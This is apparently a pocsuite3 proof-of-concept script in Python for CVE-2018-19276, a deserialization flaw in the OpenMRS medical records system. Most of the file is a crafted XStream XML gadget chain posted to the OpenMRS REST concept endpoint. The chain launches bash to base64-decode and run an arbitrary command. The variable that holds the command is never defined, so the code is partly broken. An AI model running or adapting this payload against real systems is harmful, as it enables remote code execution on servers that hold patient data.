#!/usr/bin/python
# -*- coding: utf-8 -*-
import re
# from pocsuite.api.request import req #用法和 requests 完全相同
# from pocsuite.api.poc import register
# from pocsuite.api.poc import Output, POCBase
import requests as req
from pocsuite3.api import POCBase, Output, register_poc as register


def poc(url):
    proxy = {
    }
    ressource = "/openmrs/ws/rest/v1/concept"
    burp0_url = url + ressource
    burp0_headers = {"Content-Type": "application/xml"}
    try:
        r = req.post(burp0_url, headers=burp0_headers, proxies=proxy,
                     verify=False, allow_redirects=False)
        if r.status_code == 500:
            while True:
                try:
                    burp0_url = url + ressource
                    burp0_headers = {"Content-Type": "text/xml"}
                    burp0_data = "<map>\r\n  <entry>\r\n    <jdk.nashorn.internal.objects.NativeString>\r\n      <flags>0</flags>\r\n      <value class=\"com.sun.xml.internal.bind.v2.runtime.unmarshaller.Base64Data\">\r\n        <dataHandler>\r\n          <dataSource class=\"com.sun.xml.internal.ws.encoding.xml.XMLMessage$XmlDataSource\">\r\n            <is class=\"javax.crypto.CipherInputStream\">\r\n              <cipher class=\"javax.crypto.NullCipher\">\r\n                <initialized>false</initialized>\r\n                <opmode>0</opmode>\r\n                <serviceIterator class=\"javax.imageio.spi.FilterIterator\">\r\n                  <iter class=\"javax.imageio.spi.FilterIterator\">\r\n                    <iter class=\"java.util.Collections$EmptyIterator\"/>\r\n                    <next class=\"java.lang.ProcessBuilder\">\r\n                      <command>\r\n                        <string>/bin/bash</string>\r\n                        <string>-c</string>\r\n  \t\t\t<string>{echo," + command_str + \
                                 "}|{base64,-d}|{bash,-i}</string>\r\n                      </command>\r\n                      <redirectErrorStream>false</redirectErrorStream>\r\n                    </next>\r\n                  </iter>\r\n                  <filter class=\"javax.imageio.ImageIO$ContainsFilter\">\r\n                    <method>\r\n                      <class>java.lang.ProcessBuilder</class>\r\n                      <name>start</name>\r\n                      <parameter-types/>\r\n                    </method>\r\n                    <name>foo</name>\r\n                  </filter>\r\n                  <next class=\"string\">foo</next>\r\n                </serviceIterator>\r\n                <lock/>\r\n              </cipher>\r\n              <input class=\"java.lang.ProcessBuilder$NullInputStream\"/>\r\n              <ibuffer></ibuffer>\r\n              <done>false</done>\r\n              <ostart>0</ostart>\r\n              <ofinish>0</ofinish>\r\n              <closed>false</closed>\r\n            </is>\r\n            <consumed>false</consumed>\r\n          </dataSource>\r\n          <transferFlavors/>\r\n        </dataHandler>\r\n        <dataLen>0</dataLen>\r\n      </value>\r\n    </jdk.nashorn.internal.objects.NativeString>\r\n    <jdk.nashorn.internal.objects.NativeString reference=\"../jdk.nashorn.internal.objects.NativeString\"/>\r\n  </entry>\r\n  <entry>\r\n    <jdk.nashorn.internal.objects.NativeString reference=\"../../entry/jdk.nashorn.internal.objects.NativeString\"/>\r\n    <jdk.nashorn.internal.objects.NativeString reference=\"../../entry/jdk.nashorn.internal.objects.NativeString\"/>\r\n  </entry>\r\n</map>"
                    r = req.post(burp0_url, headers=burp0_headers, data=burp0_data, proxies=proxy,
                                 verify=False, allow_redirects=False)
                    if r.status_code == 500:
                        m = re.search(
                            '(java.util.HashMap)', r.text)
                        if m:
                            return True
                        else:
                            return False
                    else:
                        break
                except KeyboardInterrupt:
                    break
        else:
            return False
    except:
        return False


class TestPOC(POCBase):
    name = 'OpenMRS 反序列漏洞'
    vulID = 'CVE-2018-19276'  # https://www.seebug.org/vuldb/ssvid-97826
    author = ['sxd']
    vulType = 'RCE'  # 远程代码执行漏洞
    version = '1.0'  # default version: 1.0
    references = ['']
    desc = '''
		   OpenMRS[1]是一种基于患者的医疗记录系统，专注于为提供商提供免费的可定制电子病历系统（EMR）。2017 年，OpenMRS 在 3,000 多个站点上实施，并为超过 870 万活跃患者存储信息。

2019 年2 月4 日，安全研究员Nicolas Serra 在Bishop Fox 博客上披露了OpenMRS在版本小于 2.24.0 中存在反序列命令执行漏洞。
		   '''
    vulDate = '2020-04-02'
    createDate = '2020-04-02'
    updateDate = '2020-04-02'
    appName = 'openMRS'
    appVersion = '1.10.X; 1.11.8; 1.11.9; 1.12.X; 2.0.x; 2.1.x '
    appPowerLink = ''  # 漏洞厂商主页地址
    samples = ['']  # 测试用例
    install_requires = ["re"]

    def _attack(self):
        '''attack mode'''
        return self._verify()

    def _verify(self):
        '''verify mode'''
        result = {}
        response = poc(self.url)
        if response:
            result['VerifyInfo'] = {}
            result['VerifyInfo'][
                'URL'] = self.url + 'OpenMRS Platform Insecure Object Deserialization_CVE-2018-19276' + ' is exist!'
        return self.parse_output(result)

    def parse_output(self, result):
        output = Output(self)
        if result:
            output.success(result)
        else:
            output.fail('Internet nothing returned')
        return output


register(TestPOC)
